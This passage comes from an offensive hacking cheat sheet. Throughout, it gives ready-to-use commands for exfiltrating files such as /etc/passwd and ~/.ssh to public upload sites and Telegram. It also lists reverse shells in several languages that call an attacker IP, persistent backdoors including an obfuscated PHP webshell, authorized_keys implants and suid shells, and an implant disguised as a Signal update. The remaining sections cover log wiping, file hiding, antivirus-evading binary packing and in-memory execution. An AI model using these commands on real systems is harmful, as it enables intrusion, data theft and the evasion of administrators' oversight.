We use openssl to encode our data but any of the above encoding methods works. This command will display the base64 encoded data in the terminal and screen will write this data to screen-xfer.txt:

## On the remote system encode issue.net
openssl base64 </etc/issue.net

Stop your local screen from logging any further data:

CTRL-a H

On your local computer decode the file:

openssl base64 -d <screen-xfer.txt
rm -rf screen-xfer.txt

From LOCAL to REMOTE (upload)

On your local system encode the data:

openssl base64 </etc/issue.net >screen-xfer.txt

On the remote system (and from within the current screen):

openssl base64 -d

Get screen to slurp the base64 encoded data into screen's clipboard and paste the data from the clipboard to the remote system:

CTRL-a : readbuf screen-xfer.txt

CTRL-a : paste .

CTRL-d

Note: Two CTRL-d are required due to a bug in openssl.

4.iv. File transfer - using gs-netcat and sftp

Use gs-netcat and encapsulate the sftp protocol within. Allows access to hosts behind NAT/Firewall.

gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

From your workstation execute this command to connect to the SFTP server:

export GSOCKET_ARGS="-s MySecret"                        # Workstation
sftp -D gs-netcat                                        # Workstation

Or to DUMP a single file:

# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

4.v. File transfer - using HTTPs

Download from Server to Receiver:

On the Sender/Server:

## Spawn a temporary HTTP server and share the current working directory.
python -m http.server 8080 --bind 127.0.0.1 &
# alternative: php -S 127.0.0.1:8080
cloudflared tunnel -url localhost:8080

Receiver: Access the URL from any browser to view/download the remote file system.

1 - Upload using PHP:

On the Receiver:

curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

On the Sender:

# Set a function:
up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }
# upload files like so:
up warez.tar.gz
up /etc/passwd

2 - Upload using PYTHON:

On the Receiver:

pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

On the Sender:

curl -X POST  https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F 'files=@myfile.txt'

4.vi. File download without curl

Using Python, download only:

# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

Example: Installing gsocket with purl:

# cut & paste the above purl() function into your bash. Then cut & paste the following:
source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh) \
&& bin curl \
&& bash -c "$(curl -fsSL https://gsocket.io/y)" \
&& xdestruct

Using OpenSSL, download only:

surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

using Perl, download only:

lurl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    perl -e 'use LWP::Simple qw(get);
my $url = '"'${1:?}'"';
print(get $url);'
}
# lurl ipinfo.io

Using bash, download only:

burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

4.vii. File transfer using a public dump

Cut & paste into your bash:

transfer() {
    [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n    transfer [file/directory]\n    transfer [name] <FILENAME"; return 255; }
    [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; }
    [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; }
    [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; }
    curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}"
}

then upload a file or a directory:

transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

A list of our favorite public upload sites.

4.viii. File transfer - using rsync

Ideal for synchronizing large amount of directories or re-starting broken transfers. The example transfers the directory 'warez' to the Receiver using a single TCP connection from the Sender to the Receiver.

Receiver:

echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf
mkdir upload
rsync --daemon --port=31337 --config=r.conf --no-detach

Sender:

rsync -av warez rsync://1.2.3.4:31337/up

The same encrypted (OpenSSL):

Receiver:

# use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)
openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt
cat ssl.key ssl.crt >ssl.pem
rm -f ssl.key ssl.crt
mkdir upload
cat ssl.pem
socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"

Sender:

# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Rsync can be combined to exfil via https / cloudflared raw TCP tunnels.
(To exfil from Windows, use the rsync.exe from the gsocket windows package). A noisier solution is syncthing.

Pro Tip: Lazy hackers just type exfil on segfault.net.

4.ix. File transfer - using WebDAV

On the receiver (e.g. segfault.net) start a Cloudflare-Tunnel and WebDAV:

cloudflared tunnel --url localhost:8080 &
# [...]
# +--------------------------------------------------------------------------------------------+
# |  Your quick Tunnel has been created! Visit it at (it may take some time to be reachable):  |
# |  https://example-foo-bar-lights.trycloudflare.com                                          |
# +--------------------------------------------------------------------------------------------+
# [...]
wsgidav --port=8080 --root=.  --auth=anonymous

On another server:

# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

Access the share from Windows (to drag & drop files) in File Explorer:

\\example-foo-bar-lights.trycloudflare.com@SSL\sources

Or mount the WebDAV share on Windows (Z:/):

net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

4.x. File transfer to Telegram

There are zillions of upload services but TG is a neat alternative. Get a TG-Bot-Token from the TG BotFather. Then create a new TG group and add your bot to the group. Retrieve the chat_id of that group:

curl -s "https://api.telegram.org/bot<TG-BOT-TOKEN>/getUpdates" | jq -r '.result[].message.chat.id' | uniq
# If you get only {"ok":true,"result":[]} then remove and add the bot again.

# Upload file.zip straight into the group chat:
curl -sF document=@file.zip "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

5. Reverse Shell / Dumb Shell

<a id="reverse-shell-gs-netcat"></a> 5.i.a. Reverse shell with gs-netcat (encrypted)

Use gsocket deploy. It spawns a fully functioning PTY reverse shell. Both, the YOU and the remote system, can be behind NAT and the traffic is routed via a relay network. It also supports file upload/download (Ctrl-e c) and alarms when the admin logs in. If netcat is a swiss army knife than gs-netcat is a german battle axe :>

X=ExampleSecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"
# or X=ExampleSecretChangeMe bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

To connect to the shell from your workstation:

S=ExampleSecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"
# or gs-netcat -s ExampleSecretChangeMe -i
# Add -T to tunnel through TOR

<a id="reverse-shell-bash"></a> 5.i.b. Reverse shell with Bash

Start netcat to listen on port 1524 on your system:

nc -nvlp 1524

After connection, upgrade your shell to a fully interactive PTY shell. Alternatively use pwncat-cs instead of netcat:

pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

On the remote system, this command will connect back to your system (IP = 3.13.3.7, Port 1524) and give you a shell prompt:

# If the current shell is Bash already:
(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &
# If the current shell is NOT Bash then we need:
bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &'
# or hide the bash process as 'kqueue'
bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &'

<a id="curlshell"></a> 5.i.c. Reverse shell with cURL (encrypted)

Use curlshell. This also works through proxies and when direct TCP connection to the outside world is prohibited:

# On YOUR workstation
# Generate SSL keys:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
# Start your listening server:
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080

# On the target:
curl -skfL https://3.13.3.7:8080 | bash

<a id="curltelnet"></a> 5.i.d Reverse shell with cURL (cleartext)

Start ncat to listen for multiple connections:

ncat -kltv 1524

# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

<a id="sslshell"></a> 5.i.e. Reverse shell with OpenSSL (encrypted)

# On YOUR workstation:
# Generate SSL keys:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
# Start your listening server:
openssl s_server -port 1524 -cert cert.pem -key key.pem
# Or pwncat:
# pwncat -lp 1524 --ssl

# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

<a id="reverse-shell-no-bash"></a> 5.i.f. Reverse shell without /dev/tcp

Embedded systems do not always have Bash and the /dev/tcp/ trick will not work. There are many other ways (Python, PHP, Perl, ..). Our favorite is to upload netcat and use netcat or telnet:

On the remote system:

nc -e /bin/sh -vn 3.13.3.7 1524

Variant if '-e' is not supported:

{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :

On modern shells this can be shortened to { nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:. (thanks IA_PD).
The | : trick won't work on C-Shell/tcsh (FreeBSD), original Bourne shell (Solaris) or Korn shell (AIX). Use mkfifo instead.

Variant for older /bin/sh:

mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io

Telnet variant:

mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Telnet variant when mkfifo is not supported (Ulg!):

touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio

Note: Dont forget to rm /tmp/.fio after login.

<a id="revese-shell-remote-moe"></a> 5.i.g. Reverse shell with remote.moe and ssh (encrypted)

It is possible to tunnel raw TCP (e.g bash reverse shell) through remote.moe:

On your workstation:

# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no nokey@remote.moe; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

On the target(needs SSH and Bash):

bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe;  bash -i &>/dev/tcp/0/31338 0>&1 &)'

On the target (alternative; needs ssh, bash and mkfifo):

rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

<a id="reverse-shell-python"></a> 5.i.h. Reverse shell with Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

<a id="reverse-shell-perl"></a> 5.i.i. Reverse shell with Perl

# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

<a id="reverse-shell-php"></a> 5.i.j. Reverse shell with PHP

php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'

<a id="reverse-shell-upgrade"></a> <a id="reverse-shell-pty"></a> 5.ii.a. Upgrade a reverse shell to a PTY shell

Any of the above reverse shells are limited. For example sudo bash or top will not work. To make these work we have to upgrade the shell to a real PTY shell:

# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

# Using python
exec python -c 'import pty; pty.spawn("/bin/bash")'

<a id="reverse-shell-interactive"></a> 5.ii.b. Upgrade a reverse shell to a fully interactive shell

...and if we also like to use Ctrl-C etc then we have to go all the way and upgrade the reverse shell to a real fully colorful interactive shell:

# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

# On your terminal execute:
stty raw -echo icrnl opost; fg

# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

<a id="reverse-shell-socat"></a> 5.ii.c. Reverse shell with socat (fully interactive)

...or install socat and get it done without much fiddling about:

# on attacker's host (listener)
socat file:`tty`,raw,echo=0 tcp-listen:1524
# on target host (reverse shell)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524

6. Backdoors

Mostly we use gs-netcat's automated deployment script: https://www.gsocket.io/deploy.

bash -c "$(curl -fsSLk https://gsocket.io/y)"

bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"

or deploy gsocket by running your own deployment server:

LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

<a id="backdoor-background-reverse-shell"></a> 6.i. Background reverse shell

A reverse shell that keeps trying to connect back to us every 360 seconds (indefinitely). Often used until a real backdoor can be deployed and guarantees easy re-entry to a system in case our connection gets disconnected.

setsid bash -c 'while :; do bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null

or the user's ~/.profile (also stops multiple instances from being started):

fuser /dev/shm/.busy &>/dev/null || nohup /bin/bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 ; sleep 360; done' &>/dev/null &

<a id="backdoor-auth-keys"></a> 6.ii. authorized_keys

Add your ssh public key to /root/.ssh/authorized_keys. It's the most reliable backdoor ever :>

It survives reboots.
It even survives re-installs. Admins have been known to make a backup of authorized_keys and then put it straight back onto the newly installed system.
We have even seen our key being copied to other companies!

Tip: Change the name at the end of the ssh public keyfile to something obscure like backup@ubuntu or the admin's real name:

$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCktFkgm40GDkqYwJkNZVb+NLqYoUNSPVPLx0VDbJM0
[...]
u1i+MhhnCQxyBZbrWkFWyzEmmHjZdAZCK05FRXYZRI9yadmvo7QKtRmliqABMU9WGy210PTOLMltbt2C
c3zxLNse/xg0CC16elJpt7IqCFV19AqfHnK4YiXwVJ+M+PyAp/aEAujtHDHp backup@ubuntu

<a id="backdoor-network"></a> 6.iii. Remote Access to an entire network

Install gs-netcat. It creates a SOCKS exit-node on the Host's private LAN which is accessible through the Global Socket Relay Network without the need to run your own relay-server (e.g. access the remote private LAN directly from your workstation):

gs-netcat -l -S       # compromised Host

Now from your workstation you can connect to ANY host on the Host's private LAN:

gs-netcat -p 1080    # Your workstation.

# Access route.local:22 on the Host's private LAN from your Workstation:
socat -  "SOCKS4a:127.1:route.local:22"

Read Use any tool via Socks Proxy.

Other methods:

Gost/Cloudflared - our very own article
Reverse Wireguard - from segfault.net to any (internal) network.

<a id="php-backdoor"></a> 6.iv. Smallest PHP Backdoor

Add this line to the beginning of any PHP file:

<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

It is base64 encoding of:

if(isset($_POST[0])){system($_POST[0]);die;}

Test the backdoor:

### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

Sometimes system() is prohibited. Add eval() to allow remote PHP-code execution as a backup. Hide within other base64-comments for some obfuscation:

<?PHP /*1rUY9TDs2wG8In1HkSQzqViVtX2nGidgu/RkzKNJbfho9NqtfTaww4GcR6bIGU+U1AJq
USOIjliQm4T/9HP6YS6IMhwoZzmr2iydbwDcVynDqtLjI5i7owLKmjbKnijTszoXP/dif9ZcbhtJ
WQKmhCno0boYQQ2rjHgW3su1C7pYREPSdrYD/4QBpptJU7Djnm5zuyD2TXNjHXm/ZYUW+n4s3PM7
aWqzWzy*/if(isset($_POST[0])){eval($_POST[1]?:"");system($_POST[0]);die;}/*P
0KKBW1rvtqxOK8L9Ok6y7Rulkl2um62KVxvVx/+kODDw4HZV5Yx/HK/7lG+X/IkK8LViCIuaedXl
HM1wHBlDluhe8BN6pH33fn0bfFpjCDaKrKwK3QF6ExJu1JgKK9deyWUTcqbr0dhe7ZliOIldh3of
+4qUjhVdK4SoeND/Dd+iwRAbhZKxaHfng4ADqdWrwjUPoyTjzOp6C3iDzunviiG0RC3iDuCY*/?>

Trigger with any of these to execute comand or PHP code:

# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

<a id="ld-backdoor"></a> 6.v. Local Root Backdoor

1. Backdooring the dynamic loader with setcap

### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

### Execute as non-root user to get root
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
p="$(command -v python3 2>/dev/null)" || p="$(command -v python)"
"${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'

2. Good old b00m shell

{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp(\"bash\", \"kdaemon\")"'

<a id="implant"></a> 6.vi. Self-Extracting implant

Create a self-extracting shell-script using mkegg.sh (see source for examples).

Simple example:

# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

Real world examples are best:

Create an implant that installs gsocket and calls our webhook on success:

./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'
# On the target system do: 'cat egg.sh | bash' or './egg.sh'

Rename egg.sh to update-for-fools.txt and upload as blob to Signal's GitHub repository.
Don't fool people to update Signal using this command ❤️:

curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

7. Host Recon

Get essential information about a host:

bash -c "$(curl -fsSL https://thc.org/ws)"

bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

netstat if there is no netstat/ss/lsof:

curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash

Speed check the system

curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

Find all suid/sgid binaries:

find  / -xdev -type f -perm /6000  -ls 2>/dev/null

Find all writeable directories:

wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr

Find local passwords (using noseyparker):

curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static
chmod 700 np && \
./np scan . && \
./np report --color=always | less -R

(Or use PassDetective to find passwords in ~/.*history)

Using grep:

# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

Find Subdomains or emails in files:

resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; }
find_subdomains() {
	local d="${1//./\\.}"
	local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}"
	local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)'
	[ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage  : find_subdomains <apex-domain> <file>\nExample: find_subdomain .com | anew"; return; }
	shift 1
	[ $# -le 0 ] && [ -t 0 ] && set -- .
	command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; }
	grep -Eaohr "$rex" "$@" | grep -Eo "$rexf"
}
# find_subdomain .foobar.com | anew | resolv
# find_subdomain @gmail.com | anew

8. Shell Hacks

<a id="shred"></a> 8.i. Shred & Erase a file

shred -z foobar.txt

## SHRED without shred command
shred() {
    [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; }
    dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1"
    rm -f "${1:?}"
}
shred foobar.txt

Note: Or deploy your files in /dev/shm directory so that no data is written to the harddrive. Data will be deleted on reboot.

Note: Or delete the file and then fill the entire harddrive with /dev/urandom and then rm -rf the dump file.

<a id="restore-timestamp"></a> 8.ii. Restore the date of a file

Let's say you have modified /etc/passwd but the file date now shows that /etc/passwd has been modified. Use touch to change the file date to the date of another file (in this example, /etc/shadow)

touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

Use hackshell and ctime /etc/passwd to also adjust the ctime and birth-time.

<a id="shell-clean-logs"></a> 8.iii. Clear logfile

This will reset the logfile to 0 without having to restart syslogd etc:

>/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log

This will remove any line containing the IP 1.2.3.4 from the log file:

xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

Examples:

# xlog "1\.2\.3\.4" /var/log/auth.log
# xlog "${SSH_CLIENT%% *}" /var/log/auth.log
# xlog "^2023.* thc\.org" foo.log

<a id="shell-hide-files"></a> 8.iv. Hide files from that User without root privileges

Our favorite working directory is /dev/shm/. This location is volatile memory and will be lost on reboot. NO LOGZ == NO CRIME.

Hiding permanent files:

Method 1:

alias ls='ls -I system-dev'

This will hide the directory system-dev from the ls command. Place in User's ~/.profile or system wide /etc/profile.

Method 2: Tricks from the 80s. Consider any directory that the admin rarely looks into (like /boot/.X11/.. or so):

mkdir '...'
cd '...'

Method 3: Unix allows filenames with about any ASCII character but 0x00. Try tab (\t). Happens that most Admins do not know how to cd into any such directory.

mkdir $'\t'
cd $'\t'

<a id="perm-files"></a> 8.v. Make a file immuteable

This will redirect /var/www/cgi/blah.cgi to /boot/backdoor.cgi. The file blah.cgi can not be modified or removed (unless unmounted).

# /boot/backdoor.cgi contains our backdoor
touch /var/www/cgi/blah.cgi
mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi

<a id="nosudo"></a> 8.vi. Change user without sudo/su

Needed for taking screenshots of X11 sessions (aka xwd -root -display :0 | convert - jpg:screenshot.jpg)

xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

<a id="payload"></a> 8.vii. Obfuscate and crypt paypload

Use UPX to pack an ELF binary (example /bin/id):

BIN="mybin"
upx -qqq /bin/id -o "${BIN}"

Cleanse the UPX header and 2nd ELF header to fool the Anit-Virus:

perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

Optionally cleanse signatures and traces of UPX:

cat "${BIN}" \
| perl -e 'local($/);$_=<>;s/(.*)(\$Info:[^\0]*)(.*)/print "$1";print "\0"x length($2); print "$3"/es;' \
| perl -e 'local($/);$_=<>;s/(.*)(\$Id:[^\0]*)(.*)/print "$1";print "\0"x length($2); print "$3"/es;' \
| perl -e 'local($/);$_=<>;s/(.*)(PROT_EXEC\|PROT_WRI[^\0]*)(.*)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
cat "${BIN}.tmpupx" >"${BIN}"
rm -f "${BIN}.tmpupx"
perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"

Verify that binary can not be unpacked:

upx -d "${BIN}"  # Should fail with 'not packed by UPX'

Optionally encrypt it with Ezuri thereafter.

<a id="memexec"></a> 8.viii. Deploying a backdoor without touching the file-system

How to start a backdoor without writing to the file-system or when all writeable locations are mounted with the evil noexec-flag.

A Perl one-liner to load a binary into memory and execute it (without touching any disk or /dev/shm or /tmp).

memexec() {
    local stropen strread
    local strargv0='"foo", '
    [ -t 0 ] && {
        stropen="open(\$i, '<', '$1') or die 'open: \$!';"
        strread='$i'
        unset strargv0
    }
    # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;'
    perl -e '$f=syscall(319, $n="", 1);
if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}}
'"${stropen}"'
open($o, ">&=".$f) or die "open: $!";
while(<'"${strread:-STDIN}"'>){print $o $_;}
exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@"
}
# Example usage:
# memexec /usr/bin/id -u
# cat /usr/bin/id | memexec -u
